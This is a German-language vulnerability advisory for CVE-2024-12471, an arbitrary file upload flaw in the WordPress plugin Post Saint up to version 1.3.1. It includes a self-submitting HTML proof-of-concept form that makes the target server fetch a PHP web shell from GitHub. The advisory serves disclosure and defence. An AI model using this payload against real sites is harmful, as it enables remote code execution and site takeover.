CVE-2024-12471

Post Saint: ChatGPT, GPT4, DALL-E, Stable Diffusion, Pexels, Dezgo AI Text & Image Generator <= 1.3.1 - Fehlende Autorisierung für authentifizierte Benutzer (Abonnent+) zum Hochladen beliebiger Dateien

Beschreibung

Das WordPress-Plugin Post Saint: ChatGPT, GPT4, DALL-E, Stable Diffusion, Pexels, Dezgo AI Text & Image Generator ist anfällig für das Hochladen beliebiger Dateien, da es in der AJAX-Aktionsfunktion add_image_to_library in allen Versionen bis einschließlich 1.3.1 an einer Berechtigungsprüfung und Dateitypvalidierung mangelt. Dadurch ist es authentifizierten Angreifern mit Abonnentenzugriff (Subscriber) und höher möglich, beliebige Dateien hochzuladen, die Remote-Code-Ausführung ermöglichen.

Details

• Typ: plugin
• Slug: post-saint
• Betroffene Version: 1.3.1
• CVSS-Score: 8.8
• CVSS-Bewertung: Hoch
• CVSS-Vektor: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• CVE: CVE-2024-12471
• Status: Geschlossen

POC

<html>
  <body>
    <form action="https://wp-dev.ddev.site/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="add&#95;image&#95;to&#95;library" />
      <input type="hidden" name="image&#95;url" value="https&#58;&#47;&#47;raw&#46;githubusercontent&#46;com&#47;flozz&#47;p0wny&#45;shell&#47;refs&#47;heads&#47;master&#47;shell&#46;php" />
      <input type="hidden" name="image&#95;prompt" value="say&#32;hello" />
      <input type="hidden" name="insert&#95;prompt&#95;media&#95;library&#95;fields" value="caption&#95;description" />
      <input type="hidden" name="image&#95;generator" value="pexels" />
      <input type="hidden" name="log&#95;id" value="1667" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>